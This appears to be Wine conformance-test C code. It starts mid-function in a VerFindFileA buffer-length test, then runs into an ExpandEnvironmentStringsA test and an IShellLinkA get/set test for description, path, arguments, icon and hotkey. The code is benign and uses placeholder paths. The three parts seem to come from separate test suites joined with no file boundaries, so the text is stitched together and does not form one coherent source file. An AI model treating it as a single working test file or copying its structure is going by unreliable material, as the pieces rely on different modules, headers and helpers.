dwOut=MAX_PATH;
memset(curdir, 0, MAX_PATH);
memset(outBuf, 0, MAX_PATH);
ret = VerFindFileA(0, regedit_exe, empty, empty, curdir, &dwCur, outBuf, &dwOut);
switch(ret) {
case VFF_CURNEDEST:
ok(dwCur == 1 + strlen(windir), "Wrong length of buffer for current location: "
"got %d(%s) expected %d\n", dwCur, curdir, lstrlenA(windir)+1);
ok(dwOut == 1, "Wrong length of buffer for the recommended installation location: "
"got %d(%s) expected 1\n", dwOut, outBuf);
break;
case VFF_BUFFTOOSMALL:
ok(dwCur == MAX_PATH, "Wrong length of buffer for current location: "
"got %d(%s) expected MAX_PATH\n", dwCur, curdir);
ok(dwOut == MAX_PATH, "Wrong length of buffer for the recommended installation location: "
"got %d(%s) expected MAX_PATH\n", dwOut, outBuf);
break;
default:
todo_wine ok(0, "Got unexpected return value %x\n", ret);
}
dwCur=MAX_PATH;
dwOut=MAX_PATH;
memset(curdir, 0, MAX_PATH);
memset(outBuf, 0, MAX_PATH);
ret = VerFindFileA(0, regedit_exe, NULL, NULL, curdir, &dwCur, outBuf, &dwOut);
switch(ret) {
case VFF_CURNEDEST:
ok(dwCur == 1 + strlen(windir), "Wrong length of buffer for current location: "
"got %d(%s) expected %d\n", dwCur, curdir, lstrlenA(windir)+1);
ok(dwOut == 1, "Wrong length of buffer for the recommended installation location: "
"got %d(%s) expected 1\n", dwOut, outBuf);
break;
case VFF_BUFFTOOSMALL:
ok(dwCur == MAX_PATH, "Wrong length of buffer for current location: "
"got %d(%s) expected MAX_PATH\n", dwCur, curdir);
ok(dwOut == MAX_PATH, "Wrong length of buffer for the recommended installation location: "
"got %d(%s) expected MAX_PATH\n", dwOut, outBuf);
break;
default:
todo_wine ok(0, "Got unexpected return value %x\n", ret);
}
}
}
if(!GetModuleFileNameA(NULL, filename, MAX_PATH) ||
!GetSystemDirectoryA(windir, MAX_PATH) ||
!GetTempPathA(MAX_PATH, appdir))
trace("GetModuleFileNameA, GetSystemDirectoryA or GetTempPathA failed\n");
else {
char *p = strrchr(filename, '\\');
if(p) {
*(p++) ='\0';
SetCurrentDirectoryA(filename);
memmove(filename, p, 1 + strlen(p));
}
dwCur=MAX_PATH;
dwOut=MAX_PATH;
memset(outBuf, 0, MAX_PATH);
memset(curdir, 0, MAX_PATH);
ret = VerFindFileA(0, filename, NULL, NULL, curdir, &dwCur, outBuf, &dwOut);
switch(ret) {
case VFF_CURNEDEST:
ok(dwOut == 1, "Wrong length of buffer for the recommended installation location"
"got %d(%s) expected 1\n", dwOut, outBuf);
break;
case VFF_BUFFTOOSMALL:
ok(dwOut == MAX_PATH, "Wrong length of buffer for the recommended installation location"
"got %d(%s) expected MAX_PATH\n", dwOut, outBuf);
break;
default:
todo_wine ok(0, "Got unexpected return value %x\n", ret);
}
dwCur=MAX_PATH;
dwOut=MAX_PATH;
memset(outBuf, 0, MAX_PATH);
memset(curdir, 0, MAX_PATH);
ret = VerFindFileA(VFFF_ISSHAREDFILE, filename, NULL, appdir, curdir, &dwCur, outBuf, &dwOut);
todo_wine ok(VFF_CURNEDEST == ret, "Wrong return value got %x expected VFF_CURNEDEST\n", ret);
ok(dwOut == 1 + strlen(windir), "Wrong length of buffer for current location: "
"got %d(%s) expected %d\n", dwOut, outBuf, lstrlenA(windir)+1);
dwCur=MAX_PATH;
dwOut=MAX_PATH;
memset(outBuf, 0, MAX_PATH);
memset(curdir, 0, MAX_PATH);
ret = VerFindFileA(0, filename, NULL, appdir, curdir, &dwCur, outBuf, &dwOut);
todo_wine ok(VFF_CURNEDEST == ret, "Wrong return value got %x expected VFF_CURNEDEST\n", ret);
ok(dwOut == 1 + strlen(appdir), "Wrong length of buffer for current location: "
"got %d(%s) expected %d\n", dwOut, outBuf, lstrlenA(appdir)+1);
}
}
static void test_ExpandEnvironmentStringsA(void)
{
const char* value="Long long value";
const char* not_an_env_var="%NotAnEnvVar%";
char buf[256], buf1[256], buf2[0x8000];
DWORD ret_size, ret_size1;
SetEnvironmentVariableA("EnvVar", value);
ret_size = ExpandEnvironmentStringsA(NULL, buf1, sizeof(buf1));
ok(ret_size == 1 || ret_size == 0 /* Win9x */ || ret_size == 2 /* NT4 */,
"ExpandEnvironmentStrings returned %d\n", ret_size);
/* Try to get the required buffer size 'the natural way' */
strcpy(buf, "%EnvVar%");
ret_size = ExpandEnvironmentStringsA(buf, NULL, 0);
ok(ret_size == strlen(value)+1 || /* win98 */
ret_size == (strlen(value)+1)*2 || /* NT4 */
ret_size == strlen(value)+2 || /* win2k, XP, win2k3 */
ret_size == 0 /* Win95 */,
"ExpandEnvironmentStrings returned %d instead of %d, %d or %d\n",
ret_size, lstrlenA(value)+1, lstrlenA(value)+2, 0);
/* Again, side-stepping the Win95 bug */
ret_size = ExpandEnvironmentStringsA(buf, buf1, 0);
/* v5.1.2600.2945 (XP SP2) returns len + 2 here! */
ok(ret_size == strlen(value)+1 || ret_size == strlen(value)+2 ||
ret_size == (strlen(value)+1)*2 /* NT4 */,
"ExpandEnvironmentStrings returned %d instead of %d\n",
ret_size, lstrlenA(value)+1);
/* Try with a buffer that's too small */
ret_size = ExpandEnvironmentStringsA(buf, buf1, 12);
/* v5.1.2600.2945 (XP SP2) returns len + 2 here! */
ok(ret_size == strlen(value)+1 || ret_size == strlen(value)+2 ||
ret_size == (strlen(value)+1)*2 /* NT4 */,
"ExpandEnvironmentStrings returned %d instead of %d\n",
ret_size, lstrlenA(value)+1);
/* Try with a buffer of just the right size */
/* v5.1.2600.2945 (XP SP2) needs and returns len + 2 here! */
ret_size = ExpandEnvironmentStringsA(buf, buf1, ret_size);
ok(ret_size == strlen(value)+1 || ret_size == strlen(value)+2 ||
ret_size == (strlen(value)+1)*2 /* NT4 */,
"ExpandEnvironmentStrings returned %d instead of %d\n",
ret_size, lstrlenA(value)+1);
ok(!strcmp(buf1, value), "ExpandEnvironmentStrings returned [%s]\n", buf1);
/* Try with an unset environment variable */
strcpy(buf, not_an_env_var);
ret_size = ExpandEnvironmentStringsA(buf, buf1, sizeof(buf1));
ok(ret_size == strlen(not_an_env_var)+1 ||
ret_size == (strlen(not_an_env_var)+1)*2 /* NT4 */,
"ExpandEnvironmentStrings returned %d instead of %d\n", ret_size, lstrlenA(not_an_env_var)+1);
ok(!strcmp(buf1, not_an_env_var), "ExpandEnvironmentStrings returned [%s]\n", buf1);
/* test a large destination size */
strcpy(buf, "12345");
ret_size = ExpandEnvironmentStringsA(buf, buf2, sizeof(buf2));
ok(!strcmp(buf, buf2), "ExpandEnvironmentStrings failed %s vs %s. ret_size = %d\n", buf, buf2, ret_size);
ret_size1 = GetWindowsDirectoryA(buf1,256);
ok ((ret_size1 >0) && (ret_size1<256), "GetWindowsDirectory Failed\n");
ret_size = ExpandEnvironmentStringsA("%SystemRoot%",buf,sizeof(buf));
if (ERROR_ENVVAR_NOT_FOUND != GetLastError())
{
ok(!strcmp(buf, buf1), "ExpandEnvironmentStrings failed %s vs %s. ret_size = %d\n", buf, buf1, ret_size);
}
/* Try with a variable that references another */
SetEnvironmentVariableA("IndirectVar", "Foo%EnvVar%Bar");
strcpy(buf, "Indirect-%IndirectVar%-Indirect");
strcpy(buf2, "Indirect-Foo%EnvVar%Bar-Indirect");
ret_size = ExpandEnvironmentStringsA(buf, buf1, sizeof(buf1));
ok(ret_size == strlen(buf2)+1 ||
ret_size == (strlen(buf2)+1)*2 /* NT4 */,
"ExpandEnvironmentStrings returned %d instead of %d\n", ret_size, lstrlen(buf2)+1);
ok(!strcmp(buf1, buf2), "ExpandEnvironmentStrings returned [%s]\n", buf1);
SetEnvironmentVariableA("IndirectVar", NULL);
SetEnvironmentVariableA("EnvVar", NULL);
}
static void test_get_set(void)
{
HRESULT r;
IShellLinkA *sl;
IShellLinkW *slW = NULL;
char mypath[MAX_PATH];
char buffer[INFOTIPSIZE];
LPITEMIDLIST pidl, tmp_pidl;
const char * str;
int i;
WORD w;
r = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,
&IID_IShellLinkA, (LPVOID*)&sl);
ok(r == S_OK, "no IID_IShellLinkA (0x%08x)\n", r);
if (r != S_OK)
return;
/* Test Getting / Setting the description */
strcpy(buffer,"garbage");
r = IShellLinkA_GetDescription(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetDescription failed (0x%08x)\n", r);
ok(*buffer=='\0', "GetDescription returned '%s'\n", buffer);
str="Some description";
r = IShellLinkA_SetDescription(sl, str);
ok(r == S_OK, "SetDescription failed (0x%08x)\n", r);
strcpy(buffer,"garbage");
r = IShellLinkA_GetDescription(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetDescription failed (0x%08x)\n", r);
ok(strcmp(buffer,str)==0, "GetDescription returned '%s'\n", buffer);
r = IShellLinkA_SetDescription(sl, NULL);
ok(r == S_OK, "SetDescription failed (0x%08x)\n", r);
strcpy(buffer,"garbage");
r = IShellLinkA_GetDescription(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetDescription failed (0x%08x)\n", r);
ok(*buffer=='\0' || broken(strcmp(buffer,str)==0), "GetDescription returned '%s'\n", buffer); /* NT4 */
/* Test Getting / Setting the work directory */
strcpy(buffer,"garbage");
r = IShellLinkA_GetWorkingDirectory(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetWorkingDirectory failed (0x%08x)\n", r);
ok(*buffer=='\0', "GetWorkingDirectory returned '%s'\n", buffer);
str="c:\\nonexistent\\directory";
r = IShellLinkA_SetWorkingDirectory(sl, str);
ok(r == S_OK, "SetWorkingDirectory failed (0x%08x)\n", r);
strcpy(buffer,"garbage");
r = IShellLinkA_GetWorkingDirectory(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetWorkingDirectory failed (0x%08x)\n", r);
ok(lstrcmpiA(buffer,str)==0, "GetWorkingDirectory returned '%s'\n", buffer);
/* Test Getting / Setting the path */
strcpy(buffer,"garbage");
r = IShellLinkA_GetPath(sl, buffer, sizeof(buffer), NULL, SLGP_RAWPATH);
todo_wine ok(r == S_FALSE || broken(r == S_OK) /* NT4/W2K */, "GetPath failed (0x%08x)\n", r);
ok(*buffer=='\0', "GetPath returned '%s'\n", buffer);
CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,
&IID_IShellLinkW, (LPVOID*)&slW);
if (!slW /* Win9x */ || !pGetLongPathNameA /* NT4 */)
skip("SetPath with NULL parameter crashes on Win9x and some NT4\n");
else
{
IShellLinkW_Release(slW);
r = IShellLinkA_SetPath(sl, NULL);
ok(r==E_INVALIDARG ||
broken(r==S_OK), /* Some Win95 and NT4 */
"SetPath returned wrong error (0x%08x)\n", r);
}
r = IShellLinkA_SetPath(sl, "");
ok(r==S_OK, "SetPath failed (0x%08x)\n", r);
strcpy(buffer,"garbage");
r = IShellLinkA_GetPath(sl, buffer, sizeof(buffer), NULL, SLGP_RAWPATH);
todo_wine ok(r == S_FALSE, "GetPath failed (0x%08x)\n", r);
ok(*buffer=='\0', "GetPath returned '%s'\n", buffer);
/* Win98 returns S_FALSE, but WinXP returns S_OK */
str="c:\\nonexistent\\file";
r = IShellLinkA_SetPath(sl, str);
ok(r==S_FALSE || r==S_OK, "SetPath failed (0x%08x)\n", r);
strcpy(buffer,"garbage");
r = IShellLinkA_GetPath(sl, buffer, sizeof(buffer), NULL, SLGP_RAWPATH);
ok(r == S_OK, "GetPath failed (0x%08x)\n", r);
ok(lstrcmpiA(buffer,str)==0, "GetPath returned '%s'\n", buffer);
/* Get some real path to play with */
GetWindowsDirectoryA( mypath, sizeof(mypath)-12 );
strcat(mypath, "\\regedit.exe");
/* Test the interaction of SetPath and SetIDList */
tmp_pidl=NULL;
r = IShellLinkA_GetIDList(sl, &tmp_pidl);
ok(r == S_OK, "GetIDList failed (0x%08x)\n", r);
if (r == S_OK)
{
BOOL ret;
strcpy(buffer,"garbage");
ret = SHGetPathFromIDListA(tmp_pidl, buffer);
ok(ret, "SHGetPathFromIDListA failed\n");
if (ret)
ok(lstrcmpiA(buffer,str)==0, "GetIDList returned '%s'\n", buffer);
pILFree(tmp_pidl);
}
pidl=path_to_pidl(mypath);
ok(pidl!=NULL, "path_to_pidl returned a NULL pidl\n");
if (pidl)
{
LPITEMIDLIST second_pidl;
r = IShellLinkA_SetIDList(sl, pidl);
ok(r == S_OK, "SetIDList failed (0x%08x)\n", r);
tmp_pidl=NULL;
r = IShellLinkA_GetIDList(sl, &tmp_pidl);
ok(r == S_OK, "GetIDList failed (0x%08x)\n", r);
ok(tmp_pidl && pILIsEqual(pidl, tmp_pidl),
"GetIDList returned an incorrect pidl\n");
r = IShellLinkA_GetIDList(sl, &second_pidl);
ok(r == S_OK, "GetIDList failed (0x%08x)\n", r);
ok(second_pidl && pILIsEqual(pidl, second_pidl),
"GetIDList returned an incorrect pidl\n");
ok(second_pidl != tmp_pidl, "pidls are the same\n");
pILFree(second_pidl);
pILFree(tmp_pidl);
pILFree(pidl);
strcpy(buffer,"garbage");
r = IShellLinkA_GetPath(sl, buffer, sizeof(buffer), NULL, SLGP_RAWPATH);
ok(r == S_OK, "GetPath failed (0x%08x)\n", r);
todo_wine
ok(lstrcmpiA(buffer, mypath)==0, "GetPath returned '%s'\n", buffer);
}
/* test path with quotes (IShellLinkA_SetPath returns S_FALSE on W2K and below and S_OK on XP and above */
r = IShellLinkA_SetPath(sl, "\"c:\\nonexistent\\file\"");
ok(r==S_FALSE || r == S_OK, "SetPath failed (0x%08x)\n", r);
strcpy(buffer,"garbage");
r = IShellLinkA_GetPath(sl, buffer, sizeof(buffer), NULL, SLGP_RAWPATH);
ok(r==S_OK, "GetPath failed (0x%08x)\n", r);
ok(!strcmp(buffer, "C:\\nonexistent\\file") ||
broken(!strcmp(buffer, "C:\\\"c:\\nonexistent\\file\"")), /* NT4 */
"case doesn't match\n");
r = IShellLinkA_SetPath(sl, "\"c:\\foo");
ok(r==S_FALSE || r == S_OK || r == E_INVALIDARG /* Vista */, "SetPath failed (0x%08x)\n", r);
r = IShellLinkA_SetPath(sl, "\"\"c:\\foo");
ok(r==S_FALSE || r == S_OK || r == E_INVALIDARG /* Vista */, "SetPath failed (0x%08x)\n", r);
r = IShellLinkA_SetPath(sl, "c:\\foo\"");
ok(r==S_FALSE || r == S_OK || r == E_INVALIDARG /* Vista */, "SetPath failed (0x%08x)\n", r);
r = IShellLinkA_SetPath(sl, "\"\"c:\\foo\"");
ok(r==S_FALSE || r == S_OK || r == E_INVALIDARG /* Vista */, "SetPath failed (0x%08x)\n", r);
r = IShellLinkA_SetPath(sl, "\"\"c:\\foo\"\"");
ok(r==S_FALSE || r == S_OK || r == E_INVALIDARG /* Vista */, "SetPath failed (0x%08x)\n", r);
/* Test Getting / Setting the arguments */
strcpy(buffer,"garbage");
r = IShellLinkA_GetArguments(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetArguments failed (0x%08x)\n", r);
ok(*buffer=='\0', "GetArguments returned '%s'\n", buffer);
str="param1 \"spaced param2\"";
r = IShellLinkA_SetArguments(sl, str);
ok(r == S_OK, "SetArguments failed (0x%08x)\n", r);
strcpy(buffer,"garbage");
r = IShellLinkA_GetArguments(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetArguments failed (0x%08x)\n", r);
ok(strcmp(buffer,str)==0, "GetArguments returned '%s'\n", buffer);
strcpy(buffer,"garbage");
r = IShellLinkA_SetArguments(sl, NULL);
ok(r == S_OK, "SetArguments failed (0x%08x)\n", r);
r = IShellLinkA_GetArguments(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetArguments failed (0x%08x)\n", r);
ok(!buffer[0] || strcmp(buffer,str)==0, "GetArguments returned '%s'\n", buffer);
strcpy(buffer,"garbage");
r = IShellLinkA_SetArguments(sl, "");
ok(r == S_OK, "SetArguments failed (0x%08x)\n", r);
r = IShellLinkA_GetArguments(sl, buffer, sizeof(buffer));
ok(r == S_OK, "GetArguments failed (0x%08x)\n", r);
ok(!buffer[0], "GetArguments returned '%s'\n", buffer);
/* Test Getting / Setting showcmd */
i=0xdeadbeef;
r = IShellLinkA_GetShowCmd(sl, &i);
ok(r == S_OK, "GetShowCmd failed (0x%08x)\n", r);
ok(i==SW_SHOWNORMAL, "GetShowCmd returned %d\n", i);
r = IShellLinkA_SetShowCmd(sl, SW_SHOWMAXIMIZED);
ok(r == S_OK, "SetShowCmd failed (0x%08x)\n", r);
i=0xdeadbeef;
r = IShellLinkA_GetShowCmd(sl, &i);
ok(r == S_OK, "GetShowCmd failed (0x%08x)\n", r);
ok(i==SW_SHOWMAXIMIZED, "GetShowCmd returned %d'\n", i);
/* Test Getting / Setting the icon */
i=0xdeadbeef;
strcpy(buffer,"garbage");
r = IShellLinkA_GetIconLocation(sl, buffer, sizeof(buffer), &i);
ok(r == S_OK, "GetIconLocation failed (0x%08x)\n", r);
ok(*buffer=='\0', "GetIconLocation returned '%s'\n", buffer);
ok(i==0, "GetIconLocation returned %d\n", i);
str="c:\\nonexistent\\file";
r = IShellLinkA_SetIconLocation(sl, str, 0xbabecafe);
ok(r == S_OK, "SetIconLocation failed (0x%08x)\n", r);
i=0xdeadbeef;
r = IShellLinkA_GetIconLocation(sl, buffer, sizeof(buffer), &i);
ok(r == S_OK, "GetIconLocation failed (0x%08x)\n", r);
ok(lstrcmpiA(buffer,str)==0, "GetIconLocation returned '%s'\n", buffer);
ok(i==0xbabecafe, "GetIconLocation returned %d'\n", i);
/* Test Getting / Setting the hot key */
w=0xbeef;
r = IShellLinkA_GetHotkey(sl, &w);
ok(r == S_OK, "GetHotkey failed (0x%08x)\n", r);
ok(w==0, "GetHotkey returned %d\n", w);
r = IShellLinkA_SetHotkey(sl, 0x5678);
ok(r == S_OK, "SetHotkey failed (0x%08x)\n", r);
w=0xbeef;
r = IShellLinkA_GetHotkey(sl, &w);
ok(r == S_OK, "GetHotkey failed (0x%08x)\n", r);
ok(w==0x5678, "GetHotkey returned %d'\n", w);
IShellLinkA_Release(sl);
}
